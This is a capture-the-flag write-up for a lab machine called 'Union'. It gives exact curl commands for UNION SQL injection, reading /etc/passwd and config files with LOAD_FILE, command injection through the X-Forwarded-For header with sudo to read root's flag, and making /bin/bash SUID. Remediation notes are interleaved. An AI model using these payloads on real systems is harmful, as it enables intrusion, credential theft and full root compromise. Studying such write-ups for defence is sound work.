Union
Summary
The target presented a single exposed service: an nginx-hosted PHP challenge application on port 80 with SSH intentionally firewalled off. A UNION-based SQL injection in the player-name lookup form let me dump an authentication flag from the database and then use MySQL's LOAD_FILE() to read the server's PHP configuration file, extracting the 'uhc' operating-system account password.
Submitting the extracted flag to the challenge endpoint created an authenticated session; a follow-up request to the firewall helper page caused the server to open SSH from $ATTACKER_IP. The uhc credentials recovered via the file-read granted a user shell.
Post-foothold analysis revealed that firewall.php passed the raw X-Forwarded-For HTTP header directly into a shell command without sanitisation, and that the www-data web-server process held an unrestricted NOPASSWD sudo rule. A single crafted HTTP header — injecting a semicolon-delimited sudo command — read the root flag without ever opening an interactive root shell, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p- --min-rate 5000 -oN nmap-full.txt $TARGETcurl -sS -I http://$TARGET/Exact commands 3
curl -sS -X POST "http://$TARGET/index.php" --data "player='"curl -sS -X POST "http://$TARGET/index.php" --data "player=' ORDER BY 2-- -"curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT 'sqli_test'-- -"FixReplace dynamic SQL string-building with parameterised queriesCritical
Exact commands 3
curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT database()-- -"curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -"curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT flag FROM november-- -"Exact commands 2
curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT LOAD_FILE('/etc/passwd')-- -"curl -sS -X POST "http://$TARGET/index.php" --data "player=' UNION SELECT LOAD_FILE('/var/www/html/config.php')-- -"FixRevoke the MySQL FILE privilege from the application database accountHigh
Exact commands 4
rm -f /tmp/union.cookiescurl -sS -i -c /tmp/union.cookies -b /tmp/union.cookies -X POST "http://$TARGET/challenge.php" --data 'flag=$PASSWORD3'curl -sS -i -c /tmp/union.cookies -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP" "http://$TARGET/firewall.php"sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no uhc@$TARGET 'cat /home/uhc/user.txt'$ATTACKER_IP; <command>; # — I caused the PHP process to execute arbitrary OS commands as the www-data web-server account. The authenticated session cookie from step 5 satisfied the only access check on the endpoint.Exact commands 2
curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; id; #" "http://$TARGET/firewall.php"curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n id; #" "http://$TARGET/firewall.php"FixValidate and escape X-Forwarded-For before passing it to any shell commandCritical
Exact commands 2
curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n cat /root/root.txt; #" "http://$TARGET/firewall.php"curl -sS -b /tmp/union.cookies -H "X-Forwarded-For: $ATTACKER_IP; sudo -n chmod u+s /bin/bash; #" "http://$TARGET/firewall.php" && ssh uhc@$TARGET '/bin/bash -p -c id'FixRemove the unrestricted NOPASSWD sudo rule granted to the web server processCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 80/tcp | http nginx 1.18.0 (Ubuntu) |